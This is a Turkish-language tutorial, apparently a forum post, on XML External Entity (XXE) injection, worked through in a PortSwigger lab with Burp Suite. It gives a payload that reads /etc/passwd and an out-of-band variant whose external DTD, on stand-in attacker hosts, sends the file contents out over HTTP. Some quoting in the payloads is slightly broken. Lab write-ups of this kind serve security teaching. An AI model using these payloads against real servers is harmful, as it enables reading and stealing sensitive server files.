XML Nedir
XML kelimesi "eXtensible Markup Language" tamlamanın kısaltılmışıdır.
XML dili 1996`da W3C tarafından yazımı ve anlaşılması kolay olması amacıyla yapılmaya başlanmıştır,
1998`de yapılan XML projesi tamamlanmıştır. Şuandaki kullanım amacı iki farklı türde RDBMS(Veri Tabanı)
kullanan web application`lar için aradaki iletişimi sağlar. Örnek olarak farklı veri tabanı türleri kullanan "A" sitesinden
"B" sitesine bir request gönderirken önce "A" sitesi "x" dilinde bir request yollar "B" sitesi requesti "y" diline parse ederek okur
XML Enternal Entity Nedir
Web Application"un veriyi okurken "BurpSuite" gibi araçlarla kötü niyetli bir hackerin verinin arasına
zararlı kodlarını yazarak sitede "Command Exucution" gibi zafiyetleri exploit edebilir. Fakat XXE zafiyeti genellikle serverdaki /etc/passwd gibi önemli dosya içeriklerini okumak veya download etmek için kulanılıyor.
XXE Exploit İşlemi
Ben Portswigger"in ücretsiz labını kullanıcağım exploit içinde burpsuite yeterlidir.
Aşşağıda gördüğünüz resimde gelen HTTP isteğinde en aşşağıda XML kodlarına kendi DOCTYPE kodlarımızı
yerleştirip "etc/passwd" dosyasının içeriğğğini okumaya çalışıcaz
Şİmdi "<!DOCTYPE tag [<!ENTITY cagir SYSTEM "file:///etc/passwd">]>"XML kodumuzu yazalım
Yukarıda gördüğünüz payloadın içerisinde "cagir" değerini "file:///etc/passwd" dosya değerine
eşitledik şimdi "cagir" değerimizi çağırarak dosyadaki şifreleri görelim
Dosya içeriği:
Out Of Band XXE
İnternette heryerde güvenlik oldupu gibi bu zafiyet içinde bir güvenlik
önlemi almışlar firewall gibisinden önlemler var bunları bypass etmek için de bir yol var bu sefer
direkt olarak cagir değerini değil kendi sitemizdeki .dtd dosyasının içindeki bir değeri hedef sitenin
"file::///etc/passwd" dosyasına atayıp değeride bi önceki başlıktaki cagir değerine atayacağız
böylelikle cagir değerini çağırdığımızda firewall neleri görmek istediğmizi bulamadan server veriyi parse etmek
isteyececk bizde parse işlemi sırasında veriyi okuyabileceğiz
www.hackerinsitesi.com/xxe.dtd içeriği bu şekilde olucaktır
Kod:
<!ENTITY % good1 SYSTEM "file:///etc/passwd">
<!ENTITY % good2 "<!ENTITY cagir2 SYSTEM
"http://hackerinsitesi.com/%good1;'>">
%good2;
Şimdiki payload içeriğimiz de şu şekilde olucaktır
Kod:
<!--?xml version="1.0"?-->
<!DOCTYPE vvHack SYSTEM "http://saldirgansitesi.com/external.dtd">
<users>
<user>&cagir2;</user>
<pass>123456</pass>
</users>
bu payload ile cagir2 değerini çağırdık cagir2 değeride good2 değerini çağırdı good2 değeri
ise good1 değerini çağırdı good1 değeri ise "file:///etc/passwd" değerine eşit olduğu için firewall bypass ederek tekrardan
şifre dosyasının içeriğini okuduk
Son düzenleme: